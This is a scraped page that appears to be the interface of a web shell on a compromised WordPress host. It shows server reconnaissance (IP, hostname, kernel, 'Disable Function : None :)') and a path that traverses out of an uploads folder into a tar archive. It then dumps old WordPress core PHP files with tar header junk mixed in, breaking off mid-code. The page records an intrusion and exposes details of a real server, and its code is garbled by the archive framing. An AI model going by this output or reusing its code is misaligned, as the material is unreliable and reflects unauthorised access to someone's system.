uawdijnntqw1x1x1
IP : 216.73.216.23
Hostname : web17.us.cloudlogin.co
Kernel : Linux web17.us.cloudlogin.co 5.10.238-xeon-hst #1 SMP Thu Jun 5 12:15:42 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
www
/
hallgroupsolutions.com
/
uploads
/
iUMI66mV0lWa28iS
/
..
/
..
/
0a24e
/
includes.tar
/
/
class-wp-upgrader-skins.php000077700000066661151514577750012011 0ustar00<?php /** * The User Interface "Skins" for the WordPress File Upgrader * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ /** * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class WP_Upgrader_Skin { var $upgrader; var $done_header = false; var $result = false; function __construct($args = array()) { $defaults = array( 'url' => '', 'nonce' => '', 'title' => '', 'context' => false ); $this->options = wp_parse_args($args, $defaults); } function set_upgrader(&$upgrader) { if ( is_object($upgrader) ) $this->upgrader =& $upgrader; $this->add_strings(); } function add_strings() { } function set_result($result) { $this->result = $result; } function request_filesystem_credentials($error = false) { $url = $this->options['url']; $context = $this->options['context']; if ( !empty($this->options['nonce']) ) $url = wp_nonce_url($url, $this->options['nonce']); return request_filesystem_credentials($url, '', $error, $context); //Possible to bring inline, Leaving as is for now. } function header() { if ( $this->done_header ) return; $this->done_header = true; echo '<div class="wrap">'; echo '<h2>' . $this->options['title'] . '</h2>'; } function footer() { echo '</div>'; } function error($errors) { if ( ! $this->done_header ) $this->header(); if ( is_string($errors) ) { $this->feedback($errors); } elseif ( is_wp_error($errors) && $errors->get_error_code() ) { foreach ( $errors->get_error_messages() as $message ) { if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) $this->feedback($message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) ); else $this->feedback($message); } } } function feedback($string) { if ( isset( $this->upgrader->strings[$string] ) ) $string = $this->upgrader->strings[$string]; if ( strpos($string, '%') !== false ) { $args = func_get_args(); $args = array_splice($args, 1); if ( $args ) { $args = array_map( 'strip_tags', $args ); $args = array_map( 'esc_html', $args ); $string = vsprintf($string, $args); } } if ( empty($string) ) return; show_message($string); } function before() {} function after() {} /** * Output JavaScript that calls function to decrement the update counts. * * @since 3.9.0 * * @param string $type Type of update count to decrement. Likely values include 'plugin', * 'theme', 'translation', etc. */ protected function decrement_update_count( $type ) { if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) { return; } echo '<script type="text/javascript"> (function( wp ) { if ( wp && wp.updates.decrementCount ) { wp.updates.decrementCount( "' . $type . '" ); } })( window.wp ); </script>'; } } /** * Plugin Upgrader Skin for WordPress Plugin Upgrades. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Plugin_Upgrader_Skin extends WP_Upgrader_Skin { var $plugin = ''; var $plugin_active = false; var $plugin_network_active = false; function __construct($args = array()) { $defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Update Plugin') ); $args = wp_parse_args($args, $defaults); $this->plugin = $args['plugin']; $this->plugin_active = is_plugin_active( $this->plugin ); $this->plugin_network_active = is_plugin_active_for_network( $this->plugin ); parent::__construct($args); } function after() { $this->plugin = $this->upgrader->plugin_info(); if ( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){ echo '<iframe style="border:0;overflow:hidden" width="100%" height="170px" src="' . wp_nonce_url('update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) .'"></iframe>'; } $this->decrement_update_count( 'plugin' ); $update_actions = array( 'activate_plugin' => '<a href="' . wp_nonce_url('plugins.php?action=activate&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>', 'plugins_page' => '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Go to plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>' ); if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugins' ) ) unset( $update_actions['activate_plugin'] ); /** * Filter the list of action links available following a single plugin update. * * @since 2.7.0 * * @param array $update_actions Array of plugin action links. * @param string $plugin Path to the plugin file. */ $update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin ); if ( ! empty($update_actions) ) $this->feedback(implode(' | ', (array)$update_actions)); } } /** * Plugin Upgrader Skin for WordPress Plugin Upgrades. * * @package WordPress * @subpackage Upgrader * @since 3.0.0 */ class Bulk_Upgrader_Skin extends WP_Upgrader_Skin { var $in_loop = false; var $error = false; function __construct($args = array()) { $defaults = array( 'url' => '', 'nonce' => '' ); $args = wp_parse_args($args, $defaults); parent::__construct($args); } function add_strings() { $this->upgrader->strings['skin_upgrade_start'] = __('The update process is starting. This process may take a while on some hosts, so please be patient.'); $this->upgrader->strings['skin_update_failed_error'] = __('An error occurred while updating %1$s: <strong>%2$s</strong>'); $this->upgrader->strings['skin_update_failed'] = __('The update of %1$s failed.'); $this->upgrader->strings['skin_update_successful'] = __('%1$s updated successfully.').' <a onclick="%2$s" href="#" class="hide-if-no-js"><span>'.__('Show Details').'</span><span class="hidden">'.__('Hide Details').'</span>.</a>'; $this->upgrader->strings['skin_upgrade_end'] = __('All updates have been completed.'); } function feedback($string) { if ( isset( $this->upgrader->strings[$string] ) ) $string = $this->upgrader->strings[$string]; if ( strpos($string, '%') !== false ) { $args = func_get_args(); $args = array_splice($args, 1); if ( $args ) { $args = array_map( 'strip_tags', $args ); $args = array_map( 'esc_html', $args ); $string = vsprintf($string, $args); } } if ( empty($string) ) return; if ( $this->in_loop ) echo "$string<br />\n"; else echo "<p>$string</p>\n"; } function header() { // Nothing, This will be displayed within a iframe. } function footer() { // Nothing, This will be displayed within a iframe. } function error($error) { if ( is_string($error) && isset( $this->upgrader->strings[$error] ) ) $this->error = $this->upgrader->strings[$error]; if ( is_wp_error($error) ) { foreach ( $error->get_error_messages() as $emessage ) { if ( $error->get_error_data() && is_string( $error->get_error_data() ) ) $messages[] = $emessage . ' ' . esc_html( strip_tags( $error->get_error_data() ) ); else $messages[] = $emessage; } $this->error = implode(', ', $messages); } echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>'; } function bulk_header() { $this->feedback('skin_upgrade_start'); } function bulk_footer() { $this->feedback('skin_upgrade_end'); } function before($title = '') { $this->in_loop = true; printf( '<h4>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h4>', $title, $this->upgrader->update_current, $this->upgrader->update_count); echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').css("display", "inline-block");</script>'; echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr($this->upgrader->update_current) . '"><p>'; $this->flush_output(); } function after($title = '') { echo '</p></div>'; if ( $this->error || ! $this->result ) { if ( $this->error ) echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed_error'], $title, $this->error) . '</p></div>'; else echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed'], $title) . '</p></div>'; echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').show();</script>'; } if ( $this->result && ! is_wp_error( $this->result ) ) { if ( ! $this->error ) echo '<div class="updated"><p>' . sprintf($this->upgrader->strings['skin_update_successful'], $title, 'jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').toggle();jQuery(\'span\', this).toggle(); return false;') . '</p></div>'; echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>'; } $this->reset(); $this->flush_output(); } function reset() { $this->in_loop = false; $this->error = false; } function flush_output() { wp_ob_end_flush_all(); flush(); } /** * Output JavaScript that sends message to parent window to decrement the update counts. * * @since 3.9.0 * * @param string $type Type of update count to decrement. Likely values include 'plugin', * 'theme', 'translation', etc. */ protected function decrement_update_count( $type ) { if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) { return; } echo '<script type="text/javascript"> if ( window.postMessage && JSON ) { window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname ); } </script>'; } } class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin { var $plugin_info = array(); // Plugin_Upgrader::bulk() will fill this in. function __construct($args = array()) { parent::__construct($args); } function add_strings() { parent::add_strings(); $this->upgrader->strings['skin_before_update_header'] = __('Updating Plugin %1$s (%2$d/%3$d)'); } function before($title = '') { parent::before($this->plugin_info['Title']); } function after($title = '') { parent::after($this->plugin_info['Title']); $this->decrement_update_count( 'plugin' ); } function bulk_footer() { parent::bulk_footer(); $update_actions = array( 'plugins_page' => '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Go to plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>', 'updates_page' => '<a href="' . self_admin_url('update-core.php') . '" title="' . esc_attr__('Go to WordPress Updates page') . '" target="_parent">' . __('Return to WordPress Updates') . '</a>' ); if ( ! current_user_can( 'activate_plugins' ) ) unset( $update_actions['plugins_page'] ); /** * Filter the list of action links available following bulk plugin updates. * * @since 3.0.0 * * @param array $update_actions Array of plugin action links. * @param array $plugin_info Array of information for the last-updated plugin. */ $update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info ); if ( ! empty($update_actions) ) $this->feedback(implode(' | ', (array)$update_actions)); } } class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin { var $theme_info = array(); // Theme_Upgrader::bulk() will fill this in. function __construct($args = array()) { parent::__construct($args); } function add_strings() { parent::add_strings(); $this->upgrader->strings['skin_before_update_header'] = __('Updating Theme %1$s (%2$d/%3$d)'); } function before($title = '') { parent::before( $this->theme_info->display('Name') ); } function after($title = '') { parent::after( $this->theme_info->display('Name') ); $this->decrement_update_count( 'theme' ); } function bulk_footer() { parent::bulk_footer(); $update_actions = array( 'themes_page' => '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Go to themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>', 'updates_page' => '<a href="' . self_admin_url('update-core.php') . '" title="' . esc_attr__('Go to WordPress Updates page') . '" target="_parent">' . __('Return to WordPress Updates') . '</a>' ); if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) unset( $update_actions['themes_page'] ); /** * Filter the list of action links available following bulk theme updates. * * @since 3.0.0 * * @param array $update_actions Array of theme action links. * @param array $theme_info Array of information for the last-updated theme. */ $update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info ); if ( ! empty($update_actions) ) $this->feedback(implode(' | ', (array)$update_actions)); } } /** * Plugin Installer Skin for WordPress Plugin Installer. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Plugin_Installer_Skin extends WP_Upgrader_Skin { var $api; var $type; function __construct($args = array()) { $defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '' ); $args = wp_parse_args($args, $defaults); $this->type = $args['type']; $this->api = isset($args['api']) ? $args['api'] : array(); parent::__construct($args); } function before() { if ( !empty($this->api) ) $this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the plugin <strong>%s %s</strong>.'), $this->api->name, $this->api->version); } function after() { $plugin_file = $this->upgrader->plugin_info(); $install_actions = array(); $from = isset($_GET['from']) ? wp_unslash( $_GET['from'] ) : 'plugins'; if ( 'import' == $from ) $install_actions['activate_plugin'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&from=import&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin & Run Importer') . '</a>'; else $install_actions['activate_plugin'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>'; if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) { $install_actions['network_activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&networkwide=1&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin for all sites in this network') . '" target="_parent">' . __('Network Activate') . '</a>'; unset( $install_actions['activate_plugin'] ); } if ( 'import' == $from ) $install_actions['importers_page'] = '<a href="' . admin_url('import.php') . '" title="' . esc_attr__('Return to Importers') . '" target="_parent">' . __('Return to Importers') . '</a>'; else if ( $this->type == 'web' ) $install_actions['plugins_page'] = '<a href="' . self_admin_url('plugin-install.php') . '" title="' . esc_attr__('Return to Plugin Installer') . '" target="_parent">' . __('Return to Plugin Installer') . '</a>'; else $install_actions['plugins_page'] = '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Return to Plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>'; if ( ! $this->result || is_wp_error($this->result) ) { unset( $install_actions['activate_plugin'], $install_actions['network_activate'] ); } elseif ( ! current_user_can( 'activate_plugins' ) ) { unset( $install_actions['activate_plugin'] ); } /** * Filter the list of action links available following a single plugin installation. * * @since 2.7.0 * * @param array $install_actions Array of plugin action links. * @param object $api Object containing WordPress.org API plugin data. Empty * for non-API installs, such as when a plugin is installed * via upload. * @param string $plugin_file Path to the plugin file. */ $install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file ); if ( ! empty($install_actions) ) $this->feedback(implode(' | ', (array)$install_actions)); } } /** * Theme Installer Skin for the WordPress Theme Installer. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Theme_Installer_Skin extends WP_Upgrader_Skin { var $api; var $type; function __construct($args = array()) { $defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' ); $args = wp_parse_args($args, $defaults); $this->type = $args['type']; $this->api = isset($args['api']) ? $args['api'] : array(); parent::__construct($args); } function before() { if ( !empty($this->api) ) $this->upgrader->strings['process_success'] = sprintf( $this->upgrader->strings['process_success_specific'], $this->api->name, $this->api->version); } function after() { if ( empty($this->upgrader->result['destination_name']) ) return; $theme_info = $this->upgrader->theme_info(); if ( empty( $theme_info ) ) return; $name = $theme_info->display('Name'); $stylesheet = $this->upgrader->result['destination_name']; $template = $theme_info->get_template(); $preview_link = add_query_arg( array( 'preview' => 1, 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), ), trailingslashit( home_url() ) ); $activate_link = add_query_arg( array( 'action' => 'activate', 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), ), admin_url('themes.php') ); $activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet ); $install_actions = array(); $install_actions['preview'] = '<a href="' . esc_url( $preview_link ) . '" class="hide-if-customize" title="' . esc_attr( sprintf( __('Preview “%s”'), $name ) ) . '">' . __('Preview') . '</a>'; $install_actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Preview “%s”'), $name ) ) . '">' . __('Live Preview') . '</a>'; $install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink" title="' . esc_attr( sprintf( __('Activate “%s”'), $name ) ) . '">' . __('Activate') . '</a>'; if ( is_network_admin() && current_user_can( 'manage_network_themes' ) ) $install_actions['network_enable'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=enable&theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__( 'Enable this theme for all sites in this network' ) . '" target="_parent">' . __( 'Network Enable' ) . '</a>'; if ( $this->type == 'web' ) $install_actions['themes_page'] = '<a href="' . self_admin_url('theme-install.php') . '" title="' . esc_attr__('Return to Theme Installer') . '" target="_parent">' . __('Return to Theme Installer') . '</a>'; elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) ) $install_actions['themes_page'] = '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>'; if ( ! $this->result || is_wp_error($this->result) || is_network_admin() || ! current_user_can( 'switch_themes' ) ) unset( $install_actions['activate'], $install_actions['preview'] ); /** * Filter the list of action links available following a single theme installation. * * @since 2.8.0 * * @param array $install_actions Array of theme action links. * @param object $api Object containing WordPress.org API theme data. * @param string $stylesheet Theme directory name. * @param WP_Theme $theme_info Theme object. */ $install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info ); if ( ! empty($install_actions) ) $this->feedback(implode(' | ', (array)$install_actions)); } } /** * Theme Upgrader Skin for WordPress Theme Upgrades. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Theme_Upgrader_Skin extends WP_Upgrader_Skin { var $theme = ''; function __construct($args = array()) { $defaults = array( 'url' => '', 'theme' => '', 'nonce' => '', 'title' => __('Update Theme') ); $args = wp_parse_args($args, $defaults); $this->theme = $args['theme']; parent::__construct($args); } function after() { $this->decrement_update_count( 'theme' ); $update_actions = array(); if ( ! empty( $this->upgrader->result['destination_name'] ) && $theme_info = $this->upgrader->theme_info() ) { $name = $theme_info->display('Name'); $stylesheet = $this->upgrader->result['destination_name']; $template = $theme_info->get_template(); $preview_link = add_query_arg( array( 'preview' => 1, 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), ), trailingslashit( home_url() ) ); $activate_link = add_query_arg( array( 'action' => 'activate', 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), ), admin_url('themes.php') ); $activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet ); if ( get_stylesheet() == $stylesheet ) { if ( current_user_can( 'edit_theme_options' ) ) $update_actions['preview'] = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Customize “%s”'), $name ) ) . '">' . __('Customize') . '</a>'; } elseif ( current_user_can( 'switch_themes' ) ) { $update_actions['preview'] = '<a href="' . esc_url( $preview_link ) . '" class="hide-if-customize" title="' . esc_attr( sprintf( __('Preview “%s”'), $name ) ) . '">' . __('Preview') . '</a>'; $update_actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Preview “%s”'), $name ) ) . '">' . __('Live Preview') . '</a>'; $update_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink" title="' . esc_attr( sprintf( __('Activate “%s”'), $name ) ) . '">' . __('Activate') . '</a>'; } if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() ) unset( $update_actions['preview'], $update_actions['activate'] ); } $update_actions['themes_page'] = '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Return to Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>'; /** * Filter the list of action links available following a single theme update. * * @since 2.8.0 * * @param array $update_actions Array of theme action links. * @param string $theme Theme directory name. */ $update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme ); if ( ! empty($update_actions) ) $this->feedback(implode(' | ', (array)$update_actions)); } } /** * Translation Upgrader Skin for WordPress Translation Upgrades. * * @package WordPress * @subpackage Upgrader * @since 3.7.0 */ class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin { var $language_update = null; var $done_header = false; var $display_footer_actions = true; function __construct( $args = array() ) { $defaults = array( 'url' => '', 'nonce' => '', 'title' => __( 'Update Translations' ), 'skip_header_footer' => false ); $args = wp_parse_args( $args, $defaults ); if ( $args['skip_header_footer'] ) { $this->done_header = true; $this->display_footer_actions = false; } parent::__construct( $args ); } function before() { $name = $this->upgrader->get_name_for_update( $this->language_update ); echo '<div class="update-messages lp-show-latest">'; printf( '<h4>' . __( 'Updating translations for %1$s (%2$s)…' ) . '</h4>', $name, $this->language_update->language ); } function error( $error ) { echo '<div class="lp-error">'; parent::error( $error ); echo '</div>'; } function after() { echo '</div>'; } function bulk_footer() { $this->decrement_update_count( 'translation' ); $update_actions = array(); $update_actions['updates_page'] = '<a href="' . self_admin_url( 'update-core.php' ) . '" title="' . esc_attr__( 'Go to WordPress Updates page' ) . '" target="_parent">' . __( 'Return to WordPress Updates' ) . '</a>'; /** * Filter the list of action links available following a translations update. * * @since 3.7.0 * * @param array $update_actions Array of translations update links. */ $update_actions = apply_filters( 'update_translations_complete_actions', $update_actions ); if ( $update_actions && $this->display_footer_actions ) $this->feedback( implode( ' | ', $update_actions ) ); parent::footer(); } } /** * Upgrader Skin for Automatic WordPress Upgrades * * This skin is designed to be used when no output is intended, all output * is captured and stored for the caller to process and log/email/discard. * * @package WordPress * @subpackage Upgrader * @since 3.7.0 */ class Automatic_Upgrader_Skin extends WP_Upgrader_Skin { protected $messages = array(); function request_filesystem_credentials( $error = false, $context = '' ) { if ( $context ) $this->options['context'] = $context; // TODO: fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version // This will output a credentials form in event of failure, We don't want that, so just hide with a buffer ob_start(); $result = parent::request_filesystem_credentials( $error ); ob_end_clean(); return $result; } function get_upgrade_messages() { return $this->messages; } function feedback( $data ) { if ( is_wp_error( $data ) ) $string = $data->get_error_message(); else if ( is_array( $data ) ) return; else $string = $data; if ( ! empty( $this->upgrader->strings[ $string ] ) ) $string = $this->upgrader->strings[ $string ]; if ( strpos( $string, '%' ) !== false ) { $args = func_get_args(); $args = array_splice( $args, 1 ); if ( ! empty( $args ) ) $string = vsprintf( $string, $args ); } $string = trim( $string ); // Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output. $string = wp_kses( $string, array( 'a' => array( 'href' => true ), 'br' => true, 'em' => true, 'strong' => true, ) ); if ( empty( $string ) ) return; $this->messages[] = $string; } function header() { ob_start(); } function footer() { $output = ob_get_contents(); if ( ! empty( $output ) ) $this->feedback( $output ); ob_end_clean(); } function bulk_header() {} function bulk_footer() {} function before() {} function after() {} } class-wp-ms-users-list-table.php000077700000023342151514577750012654 0ustar00<?php /** * Multisite Users List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_MS_Users_List_Table extends WP_List_Table { function ajax_user_can() { return current_user_can( 'manage_network_users' ); } function prepare_items() { global $usersearch, $role, $wpdb, $mode; $usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : ''; $users_per_page = $this->get_items_per_page( 'users_network_per_page' ); $role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : ''; $paged = $this->get_pagenum(); $args = array( 'number' => $users_per_page, 'offset' => ( $paged-1 ) * $users_per_page, 'search' => $usersearch, 'blog_id' => 0, 'fields' => 'all_with_meta' ); if ( wp_is_large_network( 'users' ) ) $args['search'] = ltrim( $args['search'], '*' ); if ( $role == 'super' ) { $logins = implode( "', '", get_super_admins() ); $args['include'] = $wpdb->get_col( "SELECT ID FROM $wpdb->users WHERE user_login IN ('$logins')" ); } // If the network is large and a search is not being performed, show only the latest users with no paging in order // to avoid expensive count queries. if ( !$usersearch && wp_is_large_network( 'users' ) ) { if ( !isset($_REQUEST['orderby']) ) $_GET['orderby'] = $_REQUEST['orderby'] = 'id'; if ( !isset($_REQUEST['order']) ) $_GET['order'] = $_REQUEST['order'] = 'DESC'; $args['count_total'] = false; } if ( isset( $_REQUEST['orderby'] ) ) $args['orderby'] = $_REQUEST['orderby']; if ( isset( $_REQUEST['order'] ) ) $args['order'] = $_REQUEST['order']; $mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode']; // Query the user IDs for this page $wp_user_search = new WP_User_Query( $args ); $this->items = $wp_user_search->get_results(); $this->set_pagination_args( array( 'total_items' => $wp_user_search->get_total(), 'per_page' => $users_per_page, ) ); } function get_bulk_actions() { $actions = array(); if ( current_user_can( 'delete_users' ) ) $actions['delete'] = __( 'Delete' ); $actions['spam'] = _x( 'Mark as Spam', 'user' ); $actions['notspam'] = _x( 'Not Spam', 'user' ); return $actions; } function no_items() { _e( 'No users found.' ); } function get_views() { global $wp_roles, $role; $total_users = get_user_count(); $super_admins = get_super_admins(); $total_admins = count( $super_admins ); $current_role = false; $class = $role != 'super' ? ' class="current"' : ''; $role_links = array(); $role_links['all'] = "<a href='" . network_admin_url('users.php') . "'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>'; $class = $role == 'super' ? ' class="current"' : ''; $role_links['super'] = "<a href='" . network_admin_url('users.php?role=super') . "'$class>" . sprintf( _n( 'Super Admin <span class="count">(%s)</span>', 'Super Admins <span class="count">(%s)</span>', $total_admins ), number_format_i18n( $total_admins ) ) . '</a>'; return $role_links; } function pagination( $which ) { global $mode; parent::pagination ( $which ); if ( 'top' == $which ) $this->view_switcher( $mode ); } function get_columns() { $users_columns = array( 'cb' => '<input type="checkbox" />', 'username' => __( 'Username' ), 'name' => __( 'Name' ), 'email' => __( 'E-mail' ), 'registered' => _x( 'Registered', 'user' ), 'blogs' => __( 'Sites' ) ); /** * Filter the columns displayed in the Network Admin Users list table. * * @since MU * * @param array $users_columns An array of user columns. Default 'cb', 'username', * 'name', 'email', 'registered', 'blogs'. */ $users_columns = apply_filters( 'wpmu_users_columns', $users_columns ); return $users_columns; } function get_sortable_columns() { return array( 'username' => 'login', 'name' => 'name', 'email' => 'email', 'registered' => 'id', ); } function display_rows() { global $mode; $alt = ''; $super_admins = get_super_admins(); foreach ( $this->items as $user ) { $alt = ( 'alternate' == $alt ) ? '' : 'alternate'; $status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted' ); foreach ( $status_list as $status => $col ) { if ( $user->$status ) $alt .= " $col"; } ?> <tr class="<?php echo $alt; ?>"> <?php list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) : $class = "class='$column_name column-$column_name'"; $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; $attributes = "$class$style"; switch ( $column_name ) { case 'cb': ?> <th scope="row" class="check-column"> <label class="screen-reader-text" for="blog_<?php echo $user->ID; ?>"><?php echo sprintf( __( 'Select %s' ), $user->user_login ); ?></label> <input type="checkbox" id="blog_<?php echo $user->ID ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ) ?>" /> </th> <?php break; case 'username': $avatar = get_avatar( $user->user_email, 32 ); $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) ); echo "<td $attributes>"; ?> <?php echo $avatar; ?><strong><a href="<?php echo $edit_link; ?>" class="edit"><?php echo $user->user_login; ?></a><?php if ( in_array( $user->user_login, $super_admins ) ) echo ' - ' . __( 'Super Admin' ); ?></strong> <br/> <?php $actions = array(); $actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>'; if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins ) ) { $actions['delete'] = '<a href="' . $delete = esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&action=deleteuser&id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>'; } /** * Filter the action links displayed under each user * in the Network Admin Users list table. * * @since 3.2.0 * * @param array $actions An array of action links to be displayed. * Default 'Edit', 'Delete'. * @param WP_User $user WP_User object. */ $actions = apply_filters( 'ms_user_row_actions', $actions, $user ); echo $this->row_actions( $actions ); ?> </td> <?php break; case 'name': echo "<td $attributes>$user->first_name $user->last_name</td>"; break; case 'email': echo "<td $attributes><a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a></td>"; break; case 'registered': if ( 'list' == $mode ) $date = 'Y/m/d'; else $date = 'Y/m/d \<\b\r \/\> g:i:s a'; echo "<td $attributes>" . mysql2date( $date, $user->user_registered ) . "</td>"; break; case 'blogs': $blogs = get_blogs_of_user( $user->ID, true ); echo "<td $attributes>"; if ( is_array( $blogs ) ) { foreach ( (array) $blogs as $key => $val ) { if ( !can_edit_network( $val->site_id ) ) continue; $path = ( $val->path == '/' ) ? '' : $val->path; echo '<span class="site-' . $val->site_id . '" >'; echo '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . str_replace( '.' . get_current_site()->domain, '', $val->domain . $path ) . '</a>'; echo ' <small class="row-actions">'; $actions = array(); $actions['edit'] = '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . __( 'Edit' ) . '</a>'; $class = ''; if ( get_blog_status( $val->userblog_id, 'spam' ) == 1 ) $class .= 'site-spammed '; if ( get_blog_status( $val->userblog_id, 'mature' ) == 1 ) $class .= 'site-mature '; if ( get_blog_status( $val->userblog_id, 'deleted' ) == 1 ) $class .= 'site-deleted '; if ( get_blog_status( $val->userblog_id, 'archived' ) == 1 ) $class .= 'site-archived '; $actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $val->userblog_id ) ) . '">' . __( 'View' ) . '</a>'; /** * Filter the action links displayed next the sites a user belongs to * in the Network Admin Users list table. * * @since 3.1.0 * * @param array $actions An array of action links to be displayed. * Default 'Edit', 'View'. * @param int $userblog_id The site ID. */ $actions = apply_filters( 'ms_user_list_site_actions', $actions, $val->userblog_id ); $i=0; $action_count = count( $actions ); foreach ( $actions as $action => $link ) { ++$i; ( $i == 